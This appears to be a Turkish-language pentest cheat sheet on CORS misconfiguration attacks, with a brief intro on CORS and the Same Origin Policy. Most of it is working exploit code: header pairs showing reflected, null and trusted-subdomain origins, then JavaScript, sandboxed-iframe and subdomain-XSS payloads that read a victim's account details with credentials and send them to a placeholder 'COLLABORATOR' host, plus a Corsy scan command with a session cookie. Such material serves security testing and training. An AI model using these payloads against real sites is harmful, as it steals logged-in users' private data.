CORS (Cross-Origin Resource Sharing), web uygulamalarının kendi alan adı dışındaki alan adlarından gelen verilerle etkileşim kurabilmesini sağlayan bir mekanizmadır. Temelde, tarayıcılardaki Aynı Kök Politikası'nın (Same Origin Policy - SOP) esnetilmesiyle çalışan bu mekanizma, farklı domain'ler arasında veri paylaşımını mümkün kılar. Güvenlik mekanizmasının genişletilmesi ve esnetilmesi, doğru bir şekilde yapılandırıldığında güvenlik açısından son derece önemlidir.
Copy # Request
Origin: https://attacker.com
# Response
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Copy <script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='http://COLLABORATOR/?key='+this.responseText;
};
</script>
Copy # Request
Origin: null
# Response
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Copy <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='http://COLLABORATOR/?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Copy # Request
Origin: https://example.com
# Response
Access-Control-Allow-Origin: https://subdomain.example.com
Access-Control-Allow-Credentials: true
Copy <script>
document.location="https://stock.example.com/?productId=<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://example.com/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://COLLABORATOR/?key='%2bthis.responseText; };%3c/script>"
</script>
Copy python corsy.py -u "https://example.com" --headers "Cookie: session=xxxxxxx"